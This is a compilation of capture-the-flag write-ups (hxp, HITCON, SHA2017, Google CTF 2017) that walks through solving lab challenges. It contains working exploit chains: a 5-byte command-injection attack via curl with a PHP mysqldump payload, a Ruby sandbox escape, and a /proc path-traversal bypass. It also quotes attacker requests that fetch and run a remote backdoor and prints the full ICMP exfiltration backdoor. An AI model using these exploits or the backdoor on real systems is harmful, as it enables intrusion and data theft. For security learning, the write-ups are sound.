hxp CTF 2017 irrgarten

The hxp CTF 2017 irrgarten challenge:

Running the dig command (with added +short to reduce output) provided the following output:

$ dig -t txt -p53535 @35.198.105.104 950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link +short
"try" "down.<domain>"

Playing around with it we figured out you can prepend “up”, “down”, “left” and “right” to the records to navigate a maze:

$ dig -t txt -p53535 @35.198.105.104 down.950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link +short
569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link.
$ dig -t txt -p53535 @35.198.105.104 down.569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link +short
b55b6358-6f9a-4a2c-b68a-211f56c88df9.maze.ctf.link.
$ dig -t txt -p53535 @35.198.105.104 left.b55b6358-6f9a-4a2c-b68a-211f56c88df9.maze.ctf.link +short
$

An empty reply probably means that there is a wall in the way otherwise you get the DNS record of the next tile.

To solve it and figure out how big the maze is, this very inefficient Python script was created:

#!/usr/bin/env python
import os
import subprocess

todo = [ '950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link.\n' ]
done = [ ]
directions = [ 'up', 'down', 'left', 'right' ]

while True:
  for tile in todo:
    check = subprocess.check_output("/usr/bin/dig +short -t ANY -p53535 @35.198.105.104 " + tile, shell=True)
    print check
    for direction in directions:
      fqdn = direction + '.' + tile
      output = subprocess.check_output("/usr/bin/dig +short -t ANY -p53535 @35.198.105.104 " + fqdn, shell=True)
      if output:
        if output not in done:
          todo.append(output)
          print output

    todo.remove(tile)
    done.append(tile)

  if not todo:
    break

This basically loops over all known tiles and checks if there is an accessible tile next to it in all 4 directions. If there is it adds it to the todo list and moves on. All newly found tiles get written to stdout. The base FQDN without the direction prepended gets also queried, this is where we suspected the flag will be found.

While this was running we were trying to implement a more efficient solution but it captured the flag after around 28’000 tiles:


"Flag:" "hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}"

 

HITCON 2017 CTF Data & Mining

The HITCON 2017 CTF “Data & Mining” challenge:

The file attached was a 230MB big pcapng file.

I think I solved this by accident. I was sifting through the data for a bit and started to exclude the flows with a huge amount of data as it was mostly compressed / unreadable to me.

In the remaining data I stumbled over a plaintext TCP stream on port 3333:

This contained the flag in plaintext: hitcon{BTC_is_so_expensive_$$$$$$$}

In retrospective, searching for the string hitcon in the packet data would have worked as well.

HITCON 2017 CTF Baby Ruby Escaping

The HITCON 2017 CTF “Baby Ruby Escaping” challenge had the following description:

And the attached Ruby file was:

#!/usr/bin/env ruby

require 'readline'

proc {
  my_exit = Kernel.method(:exit!)
  my_puts = $stdout.method(:puts)
  ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline }
  set_trace_func proc { |event, file, line, id, binding, klass|
    bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/
    bad_class = /(?&lt;!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/
    if event =~ /class/ || (event =~ /call/ &amp;&amp; (id =~ bad_id || klass.to_s =~ bad_class))
      my_puts.call "\e[1;31m== Hacker Detected (#{$&amp;}) ==\e[0m"
      my_exit.call
    end
  }
}.call

loop do
  line = Readline.readline('baby> ', true)
  puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect
end

Connecting to 52.192.198.197 on port 50216 we got the baby>  prompt and any entered Ruby code was executed except of course when it was blacklisted.

We were stuck with this for a while, nothing useful would execute. Until we noticed that all other challenges had only a “nc $ip $port” as the description and this one said: socat FILE:$(tty),raw,echo=0 TCP:52.192.198.197:50216

Of course, readline was implemented in this script. Connecting with the above socat and pressing TAB twice gave us:

baby>
.bash_logout
.bashrc
.profile
jail.rb
thanks_readline_for_completing_the_name_of_flag
baby>

Now we at least knew the filename to read was thanks_readline_for_completing_the_name_of_flag.

Again stuck on this for a while. We couldn’t load any new modules, we tried opening files in all the ways we could find and went through the Kernel module methods and finally found this way in the example of gets which worked:

baby> ARGV << 'thanks_readline_for_completing_the_name_of_flag'
=> ["thanks_readline_for_completing_the_name_of_flag"]
baby> print while gets
hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}
=> nil

That’s it, the flag was: hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}

HITCON 2017 CTF BabyFirst Revenge

The HITCON 2017 CTF “BabyFirst Revenge” challenge:

On the specified webserver this PHP script was running:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

Basically what it does is to execute whatever is passed in the cmd parameter if it is no longer than 5 bytes. The output of the command is not displayed.

After some time we figured out that the sandbox folder is also reachable via HTTP, e.g.: http://52.199.204.34/sandbox/727479ef7cedf30c03459bec7d87b0f0/. So we could at least run things like ls>x and fetch the result.

Out next idea was to use shell wildcards to run longer commands. We wanted a list of all files on the system first. We’ve created a empty file named find and then used wildcards to run it:

curl 'http://52.199.204.34/?cmd=>find'
curl 'http://52.199.204.34/?cmd=*%20/>x'

The second curl executes * />x which will effectively expand to find />x. We got the file x from the server and saw that this file exists and is readable by our current user:

/home/fl4444g/README.txt

We need to get that file. We’ve used tar to get it by requesting:

curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>zcf'
curl 'http://52.199.204.34/?cmd=>zzz'
curl 'http://52.199.204.34/?cmd=*%20/h*'

This creates the files tar, zcf and zzz. Then running * /h*. This expands then to:

tar zcf zzz /h*

Downloading the file “zzz” we find in the README.txt:

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

Running mysqldump with that username and password will be impossible with only wildcards. Instead we figured out that if we POST content to that URL it will be stored in a file in /tmp for the duration of that request. With that we can upload arbitrary commands but not yet execute them. Any form of sh /tmp/* is too long for the 5 bytes limit.

Tar to the rescue again:


cat << EOF >> exploit.php
<?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?>
EOF
curl 'http://52.199.204.34/?reset=1'
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>vcf'
curl 'http://52.199.204.34/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A'
curl 'http://52.199.204.34/?cmd=php%20z'

What it does is prepare a local file “exploit.php” which contains PHP code to run mysqldump and write the output to our sandbox folder. The --single-transaction parameter is important, without it the mysqldump will not complete due to missing permissions.

We then create the files tar, vcf and z on the server.
Then run * /t* which expands to:

tar vcf z /t*

This creates an uncompressed file “z” with all the contents of /tmp including our exploit which we POST’ed with that same request. After that with php z this tar file is executed. PHP will happily skip over all the binary parts and execute the PHP payload.

With that the “dump.sql” file is created, downloaded and it finally contained:

(...)
LOCK TABLES `this_is_the_fl4g` WRITE;
/*!40000 ALTER TABLE `this_is_the_fl4g` DISABLE KEYS */;
INSERT INTO `this_is_the_fl4g` VALUES ('hitcon{idea_from_phith0n,thank_you:)}');
/*!40000 ALTER TABLE `this_is_the_fl4g` ENABLE KEYS */;
UNLOCK TABLES;
(...)

The flag is: hitcon{idea_from_phith0n,thank_you:)}

SHA2017 CTF Network 300 (“Abuse Mail”) challenge

A quick write-up of the SHA2017 CTF Network 300 (“Abuse Mail”) challenge. I’ve participated with our newly formed team “Hackbuts”.

To solve this challenge you only get a 590KB abusemail.tgz file and this short description:

“Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can’t find what exactly has happened. Can you help us to catch the culprit?”

Unpacked we find 3 pcap files: abuse01.pcap, abuse02.pcap and abuse03.pcap.

After loading abuse01.pcap into Wireshark we immediately notice a telnet session. Following the TCP stream we see someone logging into a VPN router and running “ip xfrm state”:

The remaining packets are encrypted VPN traffic. Using the information of the telnet session we can setup decryption like this in Wireshark:

In the then decrypted remaining packets we’ll see a port scan and after that a HTTP session. The attacker exploited a command injection vulnerability in a ping web-service by sending requests like this to it: GET /?ip=google.com;ls

Further down in the HTTP stream he uploads malicious  Python script (“GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py”) and kindly enough echoed it back (“GET /?ip=%3Bcat%20/tmp/backdoor.py”). Through this we obtained this script:
#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass

And after that he executed the backdoor script:

GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& HTTP/1.1

Next looking at the other two captures we find only ICMP traffic in both of them. The data part of those packets is rather large, starts always with “SHA2017:” and the data following looks like a base64 encoded string:

Reviewing the Python script, this makes sense. backdoor.py is running commands and is encrypting its output, base64 encodes it and sends it via ICMP to a remote host. It can also transfer complete files.

In Wireshark we apply the data section as a column and export it as json for both abuse02.pcap and abuse03.pcap. And then extract only the data portion to new files:

fgrep data.data abuse3.json |uniq |sed 's/^.*"data.data": "//g' | sed 's/",.*//g' | sed 's/://g' > abuse3_data.txt
fgrep data.data abuse2.json |uniq |sed 's/^.*"data.data": "//g' | sed 's/",.*//g' | sed 's/://g' > abuse2_data.txt

Next convert this data into ASCII and remove the “SHA2017:” prefix:

while read line ; do echo "$line" | xxd -r -p |sed 's/^SHA2017://g' ; done < abuse2_data.txt > abuse2_ascii.txt
while read line ; do echo "$line" | xxd -r -p |sed 's/^SHA2017://g' ; done < abuse3_data.txt > abuse3_ascii.txt

Those files now contain base64 encoded data which is AES encrypted. We’ve created this simple decryption script based on the decrypt function of the backdoor.py script. The key was leaked in the first HTTP session when the script was initially started:

import base64
import sys
import time
from Crypto import Random
from Crypto.Cipher import AES

enc = sys.argv[1]
unpad = lambda s : s[0:-ord(s[-1])]
enc = base64.b64decode(enc)
iv = enc[:16]

cipher = AES.new('K8djhaIU8H2d1jNb', AES.MODE_CBC, iv )
print unpad(cipher.decrypt( enc[16:] ))

With this script we can decrypt both files now:

while read line ; do python decrypt.py "$line" ; done < abuse2_ascii.txt > abuse2_decrypted.txt
while read line ; do python decrypt.py "$line" ; done < abuse3_ascii.txt > abuse3_decrypted.txt

The abuse2_decrypted.txt now contains the results of Linux commands the attacker ran on the compromised “intranet” webserver. He started some nmap scans and listed a few files but also cat the TLS keys of the webserver and ran two more tcpdump sessions:

The data in abuse3_decrypted.txt appears to be from the file sending functionality of the backdoor script. The two pcap files “intranet.pcap” and “usb.pcap” are in this file. We’ve manually split up the files so that content for the specific file has its own file (“intranet_encoded.txt” and “usb_encoded.txt”). Also those “headers” were removed:

getfile:/tmp/intranet.pcap
getfile:/tmp/usb.pcap

The files now have this format:

getfile:22:xMWknTPe(...)
getfile:3:8XB7Q94TD(...)

Reverse engineering the backdoor script we figure out that the number after getfile is the sequence in which the packet was sent – but it was not received in this order. We also see that the complete file is read, then base64 encoded (urlsafe) and then chunks of this data is exfiltrated via ICMP. This means that we need to order the lines and arrange it into one single line:

sed 's/getfile://g' intranet_encoded.txt |sort -n| sed 's/^.*://g' | tr -d "\n\r" > intranet_one_line.txt
sed 's/getfile://g' usb_encoded.txt |sort -n| sed 's/^.*://g' | tr -d "\n\r" > usb_one_line.txt

We created this simple script to decode the files:

import base64
import sys

file = sys.argv[1]
print base64.urlsafe_b64decode(open(file, "rb").read())

And decoded them:

python decode_file.py intranet_one_line.txt > intranet.pcap
python decode_file.py usb_one_line.txt > usb.pcap

Checking intranet.pcap we find a HTTPS session. We setup SSL decryption in Wireshark like this:

The key for this was obtained in abuse02 decrypted data. In the now decrypted session we can see that the attacker downloads “secret.zip” from the intranet server. With Wireshark we can extract that object from the stream:

But we cannot open it, it is encrypted with a password.

Next we’ll look at the usb.pcap file. After a bit of research it is clear that the dump is from a USB keyboard. In Wireshark we apply the “leftover capture data” as a column and set a display filter to:

((frame.len == 72)) && !(usb.capdata == 00:00:00:00:00:00:00:00) && !(usb.capdata == 02:00:00:00:00:00:00:00)

With this and a HID usage table (http://www.usb.org/developers/hidpage/Hut1_12v2.pdf, page 53) we can lookup the keystrokes:

If the data beings with “02” it means that the shift key is pressed as well, if not it’s lowercase. Going through the pcap we can see the attacker logging into the system, downloading secret.zip via curl and finally using unzip to extract it, with the password: “Pyj4m4P4rtY@2017”

We use the same password to also decrypt the secret.zip file and we get a secret.txt file, which is finally containing the flag:

Google CTF 2017 mindreader

This is a write-up for the Google CTF 2017 “mindreader” challenge.

The mindreader webserver presented us with only a single input form:


Pretty much with the second term entered it was clear that any filename specified in the form will be read from the local disk. This sounded like an easy challenge.
Better yet, since also /etc/shadow was displayed, this meant that the process is probably running with root privileges. Jackpot!

The logical next step was to try to fetch the usual files you’d expect to contain anything useful: Service configuration files, shell histories, any log file or pretty much anything we could think of – but nothing useful was returned.

Some files that we expected to exist like /etc/ssh/sshd_config threw a 404 and others (/proc/cpuinfo) a 403.

The HTTPS server responded with a nginx server header but there was no sign of it anywhere either. Nor of any other webserver.

With /etc/issue and /etc/debian_version the system was identified as a Debian 8.8.
Digging into the Debian specific files we grabbed /var/log/apt/history.log:

In that file it showed that those packages were all installed in a single transaction:

git mercurial pkg-config wget python-pip python2.7 python2.7-dev 
python3.4 python3.4-dev build-essential libcurl4-openssl-dev libffi-dev 
libjpeg-dev libmysqlclient-dev libpng12-dev libpq-dev libssl-dev 
libxml2-dev libxslt1-dev swig zlib1g-dev gfortran libatlas-dev 
libblas-dev libfreetype6-dev liblapack-dev libquadmath0 
libmemcached-dev libsasl2-2 libsasl2-dev libsasl2-modules sasl2-bin

Searching for that specific package list leads us to the Google Cloud Platform – Python Runtime Docker Image:
https://github.com/GoogleCloudPlatform/python-runtime/blob/master/runtime-image/resources/apt-packages.txt

This explains the absence of pretty much any other service or configuration: We are attacking a Docker container.

The Dockerfile in that repository configures a work directory of /app. With that knowledge we can get the Python source code by requesting /app/main.py:

The source code revealed two key pieces of information:

  • There is an environment variable called “FLAG” (line 6).
  • Requests containing “proc” will always return a 403 (line 24).

Coincidentally environment variables are of course stored in /proc.

The filter looked solid and pythons open() does not accept wildcards. We cannot request anything containing “proc”.

But if there is a symlink pointing to a folder inside of /proc we wouldn’t need to request a file with “proc” in its name, we could traverse from there.

Quick research in a Vagrant VM showed that /dev/fd is a symlink to /proc/self/fd.
We requested /dev/fd/../environ:


And with that we finally got the flag.